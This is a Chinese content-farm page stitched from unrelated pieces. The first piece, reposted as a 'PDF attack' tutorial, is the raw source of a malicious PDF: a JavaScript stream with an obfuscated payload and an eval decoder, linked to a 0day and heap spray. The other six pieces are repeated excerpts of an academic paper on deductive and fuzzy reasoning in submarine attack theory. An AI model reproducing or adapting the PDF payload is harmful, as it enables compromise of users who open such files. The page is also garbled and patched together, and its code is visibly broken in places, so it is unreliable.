欢迎来到千学网!
您现在的位置:首页 > 实用文 > 其他范文

教你在PDF攻击中运行Javascript

时间:2023-02-26 08:40:39 其他范文 收藏本文 下载本文

下面是小编整理的教你在PDF攻击中运行Javascript,本文共7篇,欢迎您阅读,希望对您有所帮助。

教你在PDF攻击中运行Javascript

篇1:教你在PDF攻击中运行Javascript

结合pdf的0day的POC,heap spray之

insecureweb.com/%20/newish-web-based-pdf-attack-in-the-wild-with-real-exploit-code/

从老外那找的:

%PDF-1.3

%忏嫌

1 0 obj

<<

/S /JavaScript

>>

/Threads 2 0 R

/Outlines 3 0 R

/Pages 4 0 R

/ViewerPreferences <

>>

/PageLayout /SinglePage

/AcroForm. 5 0 R

/Dests 6 0 R

/Names 7 0 R

/Type /Catalog

>>

endobj

2 0 obj

[]

endobj

3 0 obj

<

/Type /Outlines

>>

endobj

4 0 obj

<

/Kids [9 0 R]

/Count 1

/Type /Pages

>>

endobj

5 0 obj

<

>>

endobj

6 0 obj

<>

endobj

7 0 obj

<

>>

endobj

8 0 obj

<

>>

endobj

9 0 obj

<

/Parent 4 0 R

/Resources 8 0 R

/TrimBox [0 0 595.28000 841.89000]

/MediaBox [0 0 595.28000 841.89000]

/pdftk_PageNum 1

/Contents 11 0 R

/Type /Page

>>

endobj

10 0 obj

<

>>

endobj

11 0 obj

<

>>

stream

0 0 595.28000 841.89000 re W n

endstream

endobj

12 0 obj

<

/S /JavaScript

>>

endobj

13 0 obj

<

>>

stream

function YXWGtha {var datfield = 'n2ibBOP6vQHNYsiT8OkPnLlj3OkXBhib9YkMPtP'+'j7@0bm300IOhn4kGj'+'yK2b3BeLzFCM'+'J3lwczIIB3bX'+'cG'+'sgnso9yQdb'+'Nt@LniGINflj'+'nBPLNKG_'+'9ggwrHe_YLh0u@'+'0jmYgMB6J'+'nz8iQS3@LJ3lw'+'czIIB3bXcGso@TsoJ3'+'lwc'+'zIIB'+'3b'+'XcGLJpOPL'+'NKG_9ggwr'+'He_'+'Yt'+'kP'+'nJiIy'+'O2L@hi6FOL_IGiN'+'6'+'HGNB3g0QYh_bso9y'+'Qd'+'b0'+'s2MPtP'+'w'+'u'+'F'+'iNB@'+'HoJ3lw'+'czIIB3bXc'+'GLJnTG'+'oTAM0fF'+'iI0@Ho5Q0uj'+'HHTwzhoPOPNSh'+'GoV3bTuhsjEPlSx3'+'l'+'unTso'+'cBG_fOLb'+'cGH_f'+'gsozKgwnIdnOPdn80eop'+'tkNIA0wfKHwuY'+'PouaG9Y'+'4L_ua'+'G9Y4L_uaG9Y4L_uaG_a'+'Ap'+'XuaI_YaJXuaM9zGdJuaGJcsdJ'+'u'+'a'+'GJct'+'2_uai'+'uaHL_uai'+'uB4L_uaiu4k'+'dX'+'uaiu_t'+'29uaMuaAjXuaMuakpuuaGJ4lJuuaGuaF2uuaiuaApu'+'uaM9mapuuaiuY8puuaiJ'+'aks9uaG9B2j_'+'uaiJaks9uaM9W'+'Aj9uaiu'+'aO'+'L_uai'+'u'+'aApX'+'uaM9ma'+'puuaMX9tL_uaM9yBL9ua'+'i'+'u'+'y'+'8d_ua'+'G_3tL'+'_uaiuaK2_uaiua'+'ApuuaiX'+'1kJ'+'9uaMX9apXuaI93BL9uaM9782'+'_ua'+'G_'+'3ad_'+'uaiuaKJ'+'uua'+'iuaApuuaiX'+'1kJ9uaMX9'+'aj9uaIX1'+'YL'+'9uai_caJuu'+'aG_'+'3ssuuaiuaOsuuaiua'+'ApuuaiX1kJ9'+'uaMX9aj_'+'uaG_cBL9'+'ua'+'G_a'+'h2_u'+'aG_'+'3B'+'Ju'+'uaiua'+'HJXu'+'aiua'+'ApuuaiX1kJ9uaMX92puu'+'a'+'M_WYL9u'+'aG_1'+'3J9uaG_'+'3aL9uaiua'+'h2'+'JuaiuaAp'+'uuaiX1'+'kJ9uaiXakpXuaGu32J'+'uuaiJ'+'1hLXuaM'+'9z82'+'9'+'ua'+'M'+'u38dXuaiu_tJ9uaiuaAduuaMX'+'yapuuaiJ1kJ9uaM9mGpXua'+'iu4KdXuaiuWY'+'29uaM9'+'msp9uaMu3'+'sdXuaG'+'_3s'+'dJua'+'iuaks9uai'+'uaApuuaG'+'J3'+'spuuaMu74dJua'+'iJaHe_ua'+'I9_t'+'L9uaiuaApuu'+'aM9zapu'+'uaM'+'uY8'+'d'+'XuaM'+'_1ks9'+'uaM_akL'+'XuaM'+'9zspuuaIX'+'aKdXu'+'a'+'i_cBL9uaiu'+'aApuuaMXaA'+'puu'+'aiX1ks'+'9u'+'aGJ72p'+'XuaMXzaeuuaMX'+'1ks9uaG_32j9uai'+'ua'+'Y2uuaiua'+'ApuuaiX1'+'AjXuaM__Gpuua'+'M'+'XYa'+'puuaIXyz2_uaM__B2Xuaiu4KpuuaGJ1'+'3L9u'+'ai'+'uaApuuaiJ'+'1'+'Ks_uaM9mGpuuaiuY'+'8dXuaiuWY29uaM9msp9uaM'+'u3sdXuai'+'XaOL9uaiuaAp'+'uu'+'aGJ7apuuaMX3aeJuaiX1AjXuaGuFHp'+'XuaMXFHs9uai_csjXuaI'+'Xa32Xu'+'a'+'MXFh'+'puuaiX1ks9uaGJ72j_uaMXzad'+'Xua'+'M'+'X1ks9uaG_32'+'j9uaiuaHjXu'+'a'+'iuaAp'+'uuaiu'+'aY29u'+'ai'+'J1Ks'+'_u'+'aM9mGp'+'uuaiu38dXua'+'iuZY2'+'9'+'uaM9'+'msp9uaMu3sdX'+'uaMuaOL9uaiuaApu'+'uaGJ'+'7a'+'p'+'uuaM9m8s_uaMuaKdXuai'+'u'+'WY29uaM'+'9msp9uaMu3sdXu'+'aiu'+'aOL9uaiuaApu'+'uaiXWApuuaMXZhe9'+'u'+'aG_W'+'AjX'+'ua'+'G_W'+'Aj'+'XuaG_WA'+'jXuaG_WA'+'jXuaG_Y'+'2LX'+'ua'+'MX7a'+'pXu'+'aM9msjXuaG_ZH29ua'+'MXZKsJuaG'+'_aKs_ua'+'M9ms'+'dXuaM9mtL_uaiu3z'+'J_uaM'+'XB2s'+'9uaMX9aj_uaiJFks9uaM9m4j_'+'uaMuyzJXuaiuF3L9uaMX98LXuaiJ92s9uaiuFHpuu'+'a'+'GuFKLXua'+'iXzsJ9'+'uaG9B8'+'duuaM_FA'+'jXuaGuFhd'+'Juaiuc82'+'Ju'+'aMuaA2_uai_ZFd9uaiu'+'3zJXuaM_ys2uuaiuFA'+'p_uaiXaKsu'+'uai_WOs9'+'uai_'+'y'+'4e9uaiJ1hd_uaMX7t2XuaG_m2s9uaMX72s9'+'uaiuFHpXuaGJ9GJ_uaiuY2'+'s9uaM9m'+'8e9uaMuY'+'sd'+'9uaI_BajXuaiu4ks9'+'uaiu'+'Fk'+'s9uaMXys2XuaM_Zhp'+'_'+'u'+'a'+'iuaAj9uai'+'_'+'4OL9uai_'+'c82_uaMX1K'+'s_uaiXYseuuaiXc8p'+'_uai'+'u'+'aKd_uaI9m2'+'sJuaI9cis'+'9ua'+'M_a'+'H2XuaM9BsJuuaM9Wk'+'2_uaM9722uua'+'M9y'+'iJ_'+'u'+'aI9Y2s9uaI__Gs_'+'uaM9Ys2uuaM9Z'+'kJuu'+'aM9zsJuuaM9Zh'+'s'+'uuaI9_22J'+'ua'+'I97sJ'+'uuaM9mis_uaI9m22_uaM_Wk29uaM9_is_uaI_al'+'s_'+'ua'+'M9m22Ju'+'aI_mG'+'su'+'uaM_zGJ9uaI9'+'ciL_u'+'aI_ZkL'+'XuaG'+'_c'+'Gs96z@Jn'+'2i'+'bBOP09GsSfF'+'oXyf0nEAeopth__Fs_cts_cMsozKg'+'wnzgI'+'13i'+'bcslbzARQ2OkP'+'nIdnOPdn80pgbAg0QFG'+'InJhoBMs'+'ozK'+'g'+'wnso9y'+'Q'+'dbn'+'TsoI3L_'+'5HHS4'+'KG0OYdu'+'n'+'ThowzgI13ibcslbzARQ2gh__HsJ'+'NMsozKgwnJi'+'I'+'yO2L@hi6FO'+'L_nTs'+'o7@ljYHl'+'bcAHM6akN9t2Jca'+'kN9t2JcskMPtPLNK'+'G_9ggwrHe_Y'+'tkPntoXzF'+'lwy80'+'9EYMN5YP'+'LNKG_9gg'+'wrHe_'+'Y6h'+'otk'+'2wdKlMPtPNSh'+'Go'+'jhoQBGeJ1kpbjOkPnBhnrgdjB4HTLARnNAeojth__Fs'+'_cts_cz@gI3L_5HHS4KG0OYduPtPj0hGow2i'+'bBOP0J'+'HgLb'+'Fi0lKdX_zlSptLJ'+'IPIbJfHNj0dX1Y'+'2Iv'+'f20t@'+'p_FY2Xahl0PLg'+'LfPG'+'0mQ0'+'Q1KeJ'+'NAbM@zhoPOP6vQ'+'HNYsiT8'+'go0JH'+'g'+'LbF'+'i0lKdX'+'_zlSe'+'OkPn'+'JiIy'+'O2'+'L@h'+'i6FOL'+'_nMh'+'olKbn2KoSlgsopOk@n2lN'+'I'+'HHNN0'+'g0nGCj8ldNL'+'hLbOhpbmB'+'k'+'MnMGoz'+'Kgw'+'nGHjA'+'Yl_'+'SQeoptk'+'bcOMgz3'+'lj3Agw8AgwY3'+'00I@hN0HCNB3g0QYkMPt@bXle'+'Iy8lQ'+'nTso'+'fF0uwK2bd@PwuOG0SHljwIhf'+'Z'+'0'+'@jbsPoNMsozKgwnTgIsApwnTsoIA0Nn8pwBK'+'lLw'+'GHjAYl_'+'SQpgfYlbBKeNwt2MbGHjAYl'+'_SQpgfYl'+'bBKeNw82Mb'+'GHjAYl_'+'SQpgfYlbBKeNws2MNMsoNkHow'+'Bk0LPRuBgC_eOkPpthJn2PpnBhMjPg6WhI6yTCopTsoy'+'tPpT'+'tk0'+'LPRuBgo_eOhPns2Mn6G@nT'+'gIsApwh'+'K'+'2fn6soyz'+'kMn6G@n'+'Bk0LPRuBgC_'+'eOkPp'+'t@9n2PpnT'+'gIsAp'+'whK2fn6'+'soyzhoofGowTgIsApwhO2f'+'n6so3zkMnM'+'Go5Q0ujHHTw'+'z@'+'J'+'n2ibBO'+'k'+'6'+'5lCuAKpIKksoptkNIA0wfK'+'H'+'wuYPouaG_'+'fOL'+'b'+'uaG_fOLb'+'6z@Jn'+'iGINfljwzCSKFju1P0S'+'zL'+'h0u@0jmY'+'Hooth9mz'+'29Bzh'+'orFbS'+'Zl'+'dXLl'+'o9n'+'MkPnzCSKFju1P0SzMso'+'mYlIY'+'@@b0fH0'+'Sh'+'0'+'nm'+'0'+'gwuOkP'+'nGj0bflb'+'6@@b'+'0fH0uHHNWQ'+'lbNf'+'lTIk00wMIw'+'7hgIJtP'+'o66k0Ylg'+'JnzCSKF'+'j'+'u1P0SzTiMPtk@'+'nTGoOFg'+'S'+'A'+'AM'+'IBG0n4hH'+'9wz@J'; function ewkJz6WdMEew(ayKlCB){ var tp = '63@17@26@39@18@4@50@37@6@41@0@0@0@0@0@0@59@23@34@12@25@24@19@14@15@62@42@7@58@46@57@3@43@55@28@49@54@8@0@21@52@35@20@0@0@0@0@40@0@22@60@32@29@13@51@47@11@30@61@27@31@36@48@44@45@16@9@10@2@53@5@56@1@33@38'; var zWtBy=0, ze3vvCeSH91=ayKlCB.length, rkJ5q=1024, qC5L0eX9yJLA, Dprxk, aDMkDLpyftp='', j3ZwCEUKDo=OzWtBy, QdiDVgxZ=OzWtBy, Tv4OHt=OzWtBy, WmCRNE2KQFplTd=Array(); WmCRNE2KQFplTd = tp.split('@'); for(eval('Dprxk=Ma'+'th.'+'ce'+'il(ze3vvCeSH91'+'/rkJ5q)');Dprxk>OzWtBy;Dprxk--){ for(eval('qC5L0eX9yJLA=M'+'ath'+'.m'+'in(ze3vvCeSH91,'+'rkJ5q)');qC5L0eX9yJLA>OzWtBy;qC5L0eX9yJLA--,ze3vvCeSH91--){ eval('Tv4OHt|'+'=(WmCRNE2KQFplTd['+'ayKlCB.'+'cha'+'rCo'+'de'+'At(j3ZwCEUKDo+'+'+)-48])<'+'>=8; QdiDVgxZ-=2; } else { QdiDVgxZ=6; } } } eval(aDMkDLpyftp); } ewkJz6WdMEew(datfield);}

endstream

endobj

14 0 obj

<

/Title

/Producer (Scribus PDF Library 1.3.3.12)

/Author

/Keywords

/Trapped /False

/ModDate (312053854)

/CreationDate (2008312053854)

>>

endobj

xref

0 15

0000000000 65535 f

0000000015 00000 n

0000000261 00000 n

0000000279 00000 n

0000000324 00000 n

0000000397 00000 n

0000000428 00000 n

0000000448 00000 n

0000000487 00000 n

0000000553 00000 n

0000000731 00000 n

0000000781 00000 n

0000000862 00000 n

0000000909 00000 n

0000004186 00000 n

trailer

<

/Root 1 0 R

/Size 15

>>

startxref

4374

%%EOF

篇2:演绎推理和模糊推理在潜艇攻击中的运用分析论文

0 引言

潜艇攻击理论是潜艇作战平台使用硬杀伤武器对敌水面舰船或潜艇实施攻击所涉及的一种理论,它是潜艇进攻作战的基本依据,包括武器瞄准理论、潜艇攻击决策理论、潜艇攻击机动理论、目标运动分析理论、武器射击理论、武器命中效果分析理论、潜艇攻击组织与指挥理论等。这些理论紧紧围绕一个共同目标而展开,即争取取得预想攻击效果,实现对被攻目标毁伤,同时保证本艇安全。

毫无疑问,潜艇攻击过程中会涉及大量的推断问题,如,被攻击目标是否存在? 它位处何方? 如何运动? 它是何种类型目标? 它的反探测能力如何? 它对我潜艇有何威胁? 如何依据目标方位变化情况判断敌我概略态势? 我潜艇应如何实施接敌? 如何确定武器射击阵位?我潜艇何时转入占位机动? 如何机动? 潜艇改变机动策略对占位效果有何影响? 等等。回答这些问题,常常需要借助各种推理技术。

演绎推理和模糊推理都是十分常用的推理技术,二者既有着严格的区分,又有着惊人的相似性,它们都可在潜艇攻击中发挥重要作用。本文对这两种推理技术进行简要介绍和评述,并就其在潜艇攻击中的应用进行探讨。

1 演绎推理

所谓演绎推理( Deductive Reasoning),就是从多个被认为正确的前提出发,通过推导即“演绎”,得出具体陈述或个别结论的逻辑过程[1]。由于一般性前提所具有的普遍性和针对个别结论的特殊性,因此,演绎推理也被称为是从一般( 或普遍) 到特殊的推理。

亚里士多德是系统研究演绎推理的第一人,经他系统研究的演绎推理方法对人类科学发展起到了巨大的推动作用。演绎推理的光辉典范是古希腊数学家欧几里德几何学,它从为数极少的公理出发,借助亚里士多德的演绎推理方法,构建了经典几何学大厦。

演绎推理是严格的逻辑推理,它可以表示为一个三段论模式,即由大前提、小前提和结论组成一个完整的演绎推理过程。其中: 大前提是已知的一般原理; 小前提是所研究的特殊情况; 结论是据一般原理对特殊情况做出的判断。

演绎推理的严格性在于,首先,推理过程中涉及的概念( 即M,P,S)是抽象、清晰、无二义的。大前提和小前提中的中项M 具体代表什么无关紧要,重要的是它们必须是完全一致的; 其次,大小前提的判断必须是真实正确的。演绎推理的正确性与否首先取决于大前提的正确与否,如果大前提错了,结论自然不会正确。只要能保证这种严格性,即保证前提和推理形式正确,则演绎推理的结论必定正确。

篇3:演绎推理和模糊推理在潜艇攻击中的运用分析论文

潜艇攻击理论的建立和完善过程中,演绎推理发挥了十分重要的作用。其中的许多内容,如武器瞄准射击原理、目标运动参数测定原理、敌我态势判断原理、潜艇攻击机动原理等,都离不开演绎推理的支撑,它们都是以几何学等严密科学的有关结论为基础,演绎出各自的严格理论体系。潜艇攻击理论的许多结论都是运用演绎推理得出的。

由于有演绎推理严密性的保证,这类由演绎推理得出的结论可以“放心使用”。熟记其中的常用结论可在攻击过程中带来很大的便利,甚至争取到更为有利的攻击机会或更大战果。比如,使用直进射击方式发射鱼雷对敌攻击时,需要根据敌航向和预定命中角确定潜艇射击时的航向( 称为我艇战斗航向) 。

3 模糊推理

模糊性( Fuzziness) 是指概念内涵或外延不清晰所致的不确定性,它在现实问题中广泛存在,显然,演绎推理无法处理含有模糊性概念的推理问题。模糊推理( Fuzzy Reasoning)则是能够处理模糊性的一种推理技术,它是以由美国加州大学伯克利分校的ZADEH 教授提出的模糊集合论为基础的不确定性推理技术[4]。

篇4:演绎推理和模糊推理在潜艇攻击中的运用分析论文

在潜艇攻击理论中,模糊概念是大量存在的,如“高速”、“小舷角”、“紧急”、“近距离”、“良好水文条件”等,许多情况下,需要对含有这类模糊信息的情形进行推理。

按照上文说明,要运用模糊推理技术进行推理,首先需要有可信的大前提。模糊推理的大前提一般是在现实中由相关专业人员通过观察、实践并不断总结积累得到的'。潜艇攻击理论中,人们也总结了不少这种含有模糊性的知识和结论,在特定情况下可以用作模糊推理的大前提。

比如,在攻击过程的初期,及时概略判断敌我态势十分关键。这个阶段因获取的目标信息有限,一般只有一段短暂时间的目标方位信息。这种情况下是不可能精确判断敌我态势的。不难理解,如果这时操纵潜艇采用低速走方位航向( 即潜艇朝目标方位直航) ,则根据一段时间( 如2min) 目标方位变化的情况,可得出关于敌我态势的模糊结论[8]: 潜艇低速走方位航向,若目标方位增大,为攻敌右舷态势; 若方位减小,为攻敌左舷态势。距离较远时,若方位变化快,一般意味着敌速高和/或敌舷角大; 若方位变化慢,一般意味着敌速低和/或敌舷角小。

上述结论中含有多个模糊概念,因而所述内容并非完全事实或绝对正确,但在潜艇攻击的实际战场态势下,存在很多与此类似的情形,在没有更好的态势判断手段时,利用此结论来判断,不失为一种较好的选择。

再比如,在采用鱼雷直进射击方式攻击目标时,潜艇是否能占领到合适的射击阵位( 恰当的射距和命中角) 对射击效果有较大影响[8]。判断是否可以占领合适阵位以及如何占领时,可参考以下模糊结论: 只要保持垂距与预定射距基本相当,一般就可以占领较为有利的射击阵位。根据这个结论,在实际的潜艇攻击接敌机动时,应特别关注垂距的变化,随时将其与预定的射距相比较,并据此制定机动方案。一般的接敌机动原则是: 若当前垂距明显大于预定射距,则走缩小垂距的航路; 若当前垂距明显小于预定射距,则走扩大垂距的航路; 若当前垂距与预定射距大致相当,则走保持垂距的航路。

无论是潜艇攻击作战指挥人员还是潜艇攻击理论研究人员,运用模糊推理技术的角度不外有两个。一个是借用已有的模糊推理规则进行模糊推断,如运用前述模糊结论进行初始敌我态势判断和制定接敌机动方案。运用已有模糊结论或模糊规则的原则应该是“审慎使用”。原因是模糊结论或模糊规则本质上存在的严密性缺陷,任何的模糊规则都只是具有一定范围的合理性。“审慎使用”就是要时刻关注模糊推理规则中的这种缺陷和局限性,关注拟借用的推理规则使用条件与应用问题的匹配度。使用条件不同,可导致使用效果的显著差异。鉴于潜艇作战问题所具有的高度非线性和复杂性,甚至可能出现使用条件些微差别即可导致推理结果完全不同的现象。“审慎使用”还在于不可对借用的模糊规则采取简单的“拿来即用”的态度,而是要将其结合应用问题进行反复的试验验证,必要时对规则进行适应性修正后才可最终投入应用。

值得强调的是,“审慎使用”原则丝毫不意味模糊推理不重要。模糊推理对于潜艇攻击的极端重要性是毋庸置疑的,只是在运用中要多一份谨慎而已。

另一个是开发新的模糊推理规则。在潜艇攻击理论的发展变化过程中,无疑会涌现出新的模糊推理需求,许多情况下需要全新的推理规则才能满足这样的需求。由于模糊推理的个案性和灵活性,不同的人对同一推理问题可以有不同的推理结果,这给每个潜艇作战指挥员或研究人员提供了很大的灵活开发推理规则的空间。由于潜艇攻击作战推理决策往往与实际训练和作战经验紧密联系,因此,潜艇作战指挥人员的经验至关重要。他们在实践中不断摸索所取得的知识和经验,经总结后即成为构建模糊推理机制的最佳素材。研究人员则应发挥理论和工程实现技术优势,将作战人员的经验知识提升为更具推广意义的推理框架和规则,并设法将其纳入潜艇作战指挥控制系统,为潜艇攻击作战指挥决策提供更大便利及更加全面优质的辅助决策策略。

5 结束语

演绎推理和模糊推理在潜艇攻击理论中都占据重要地位,对潜艇攻击理论的发展完善发挥着无可替代的作用。两种推理方法具有突出的特点,它们在形式上非常相似,本质上却存在根本的差异,特点的不同导致二者在潜艇攻击运用中的原则和方法都不同。演绎推理因所具有的严密性特点,经过严格推理获取的结论在潜艇攻击中可以“放心使用”; 而模糊推理则一般只是具有合理性,因而其推理结论宜采用“审慎使用”的运用原则。

总体而言,演绎推理和模糊推理对于潜艇攻击是非常重要的。随着潜艇攻击理论和方法的不断发展,二者还将在其中发挥无可替代的作用,因而,相关问题值得研究人员的持续关注。

篇5:研究演绎和模糊推理在潜艇攻击中的应用论文

引言

潜艇攻击理论是潜艇作战平台使用硬杀伤武器对敌水而舰船或潜艇实施攻击所涉及的一种理论,它是潜艇进攻作战的基本依据,包括武器瞄准理论、潜艇攻击决策理论、潜艇攻击机动理论、目标运动分析理论、武器射击理论、武器命中效果分析理论、潜艇攻击组织与指挥理论等。这些理论紧紧围绕一个共同目标而展开,即争取取得预想攻击效果,实现对被攻目标毁伤,同时保证本艇安全。

毫无疑问,潜艇攻击过程中会涉及大量的推断问题,如,被攻击目标是否存在?它位处何方?如何运动?它是何种类型目标?它的反探测能力如何?它对我潜艇有何威胁?如何依据目标方位变化情况判断敌我概略态势?我潜艇应如何实施接敌?如何确定武器射击阵位?我潜艇何时转入占位机动?如何机动?潜艇改变机动策略对占位效果有何影响?等等。回答这些问题,常常需要借助各种推理技术。

演绎推理和模糊推理都是十分常用的推理技术,二者既有着严格的区分,又有着惊人的相似性,它们都可在潜艇攻击中发挥重要作用。本文对这两种推理技术进行简要介绍和评述,并就其在潜艇攻击中的应用进行探讨。

1演绎推理

所谓演绎推理(Deductive Reasoning),就是从多个被认为正确的前提出发,通过推导即“演绎”,得出具体陈述或个别结论的逻辑过程[Ci7由于一般性前提所具有的普遍性和针对个别结论的特殊性,因此,演绎推理也被称为是从一般(或普遍)到特殊的推理。

亚里士多德是系统研究演绎推理的第一人,经他系统研究的演绎推理方法对人类科学发展起到了巨大的推动作用。演绎推理的光辉典范是古希腊数学家欧几里德几何学,它从为数极少的公理出发,借助亚里士多德的演绎推理方法,构建了经典几何学大厦。

篇6:研究演绎和模糊推理在潜艇攻击中的应用论文

潜艇攻击理论的建立和完善过程中,演绎推理发挥了十分重要的作用。其中的许多内容,如武器瞄准射击原理、目标运动参数测定原理、敌我态势判断原理、潜艇攻击机动原理等,都离不开演绎推理的支撑,它们都是以几何学等严密科学的有关结论为基础,演绎出各自的严格理论体系。潜艇攻击理论的许多结论都是运用演绎推理得出的。

如鱼雷射击命中原理的基本结论:命中角等于提前角和目标舷角之和固。为了说明其中的演绎推理过程,给出如图t所示的鱼雷射击三角形。

需要强调的是,前述在潜艇攻击中“放心使用”的原则是针对前提正确且推理过程严密的演绎推理结论的。在实际的应用条件下,可能不具备这种绝对的正确性和严密}h},此种情形是否能借用相关的推理结论,就不可一概而论了。比如,按式(4)计算所得的提前角,因实际攻击应用中目标速度和鱼雷速度都会有误差,导致计算提前角误差。能否用这个有误差的提前角来控制鱼雷射击,显然需要考虑目标和鱼雷速度误差大小、目标的尺度、期望的命中概率等因素。

3模糊推理

模糊性(Fuzziness)是指概念内涵或外延不清晰所致的不确定性,它在现实问题中广泛存在,显然,演绎推理无法处理含有模糊性概念的推理问题。模糊推理(Fuzzy Reason-ing)则是能够处理模糊性的一种推理技术,它是以由美国加州大学伯克利分校的ZADEH教授提出的模糊集合论为基础的不确定性推理技术团。

篇7:研究演绎和模糊推理在潜艇攻击中的应用论文

在潜艇攻击理论中,模糊概念是大量存在的,如“高速”、“小舷佰”、“紧急”、“近距离”、“良好水文条件”等,许多情况下,需要对含有这类模糊信息的情形进行推理。

按照上文说明,要运用模糊推理技术进行推理,首先需要有可信的大前提。模糊推理的大前提一般是在现实中由相关专业人员通过观察、实践并不断总结积累得到的。潜艇攻击理论中,人们也总结了不少这种含有模糊性的知识和结论,在特定情况下可以用作模糊推理的大前提。

比如,在攻击过程的初期,及时概略判断敌我态势十分关键。这个阶段因获取的目标信息有限,一般只有一段短暂时间的目标方位信息。这种情况下是不可能精确判断敌我态势的。不难理解,如果这时操纵潜艇采用低速走方位航向(即潜艇朝目标方位直航),则根据一段时间(如2min)目标方位变化的情况,可得出关于敌我态势的模糊结论因:潜艇低速走方位航向,若目标方位增大,为攻敌右舷态势;若方位减小,为攻敌左舷态势。距离较远时,若方位变化,一般意味着敌速高和/或敌舷角大;若方位变化慢,一般意味着敌速低和/或敌舷角小。

上述结论中含有多个模糊概念,因而所述内容并非完全事实或绝对正确,但在潜艇攻击的实际战场态势下,存在很多与此类似的情形,在没有更好的态势判断手段时,利用此结论来判断,不失为一种较好的选择。

再比如,在采用鱼雷直进射击方式攻击目标时,潜艇是否能占领到合适的射击阵位(恰当的射距和命中角)对射击效果有较大影响冈。判断是否可以占领合适阵位以及如何占领时,可参考以下模糊结论:只要保持垂距与预定射距基本相当,一般就可以占领较为有利的射击阵位。根据这个结论,在实际的潜艇攻击接敌机动时,应特别关注垂距的变化,随时将其与预定的射距相比较,并据此制定机动方案。一般的.接敌机动原则是:若当前垂距明显大于预定射距,则走缩小垂距的航路;若当前垂距明显小于预定射距,则走扩大垂距的航路;若当前垂距与预定射距大致相当,则走保持垂距的航路。

值得强调的是“审慎使用”原则丝毫不意味模糊推理不重要。模糊推理对于潜艇攻击的极端重要性是毋庸置疑的,只是在运用中要多一份谨慎而己。

另一个是开发新的模糊推理规则。在潜艇攻击理论的发展变化过程中,无疑会涌现出新的模糊推理需求,许多情况下需要全新的推理规则才能满足这样的需求。由于模糊推理的个案性和灵活性,不同的人对同一推理问题可以有不同的推理结果,这给每个潜艇作战指挥员或研究人员提供了很大的灵活开发推理规则的空间。由于潜艇攻击作战推理决策往往与实际训练和作战经验紧密联系,因此,潜艇作战指挥人员的经验至关重要。他们在实践中不断摸索所取得的知识和经验,经总结后即成为构建模糊推理机制的最佳素材。研究人员则应发挥理论和工程实现技术优势,将作战人员的经验知识提升为更具推广意义的推理框架和规则,并设法将其纳入潜艇作战指挥控制系统,为潜艇攻击作战指挥决策提供更大便利及更加全而优质的辅助决策策略。

5结束语

演绎推理和模糊推理在潜艇攻击理论中都占据重要地位,对潜艇攻击理论的发展完善发挥着无可替代的作用。两种推理方法具有突出的特点,它们在形式上非常相似,本质上却存在根本的差异,特点的不同导致二者在潜艇攻击运用中的原则和方法都不同。演绎推理因所具有的严密性特点,经过严格推理获取的结论在潜艇攻击中可以“放心使用”;而模糊推理则一般只是具有合理性,因而其推理结论宜采用“审慎使用”的运用原则。

总体而言,演绎推理和模糊推理对于潜艇攻击是非常重要的。随着潜艇攻击理论和方法的不断发展,二者还将在其中发挥无可替代的作用,因而,相关问题值得研究人员的持续关注。

教你灵活运用任务管理器运行命令

教你在开车中如何防爆胎

宽体机在首都机场运行情况调研报告

Windows在Macs上运行需要注意的问题

教你一招:在Excel中使用条件格式

运行速度的安全性在公路线形设计中的应用分析

区委书记在全区上半年经济运行情况分析会上的讲话

Illustrator技巧:教你在AI里裁切位图的方法

《教你在PDF攻击中运行Javascript(精选7篇).doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

文档为doc格式

最新推荐
猜你喜欢
点击下载本文文档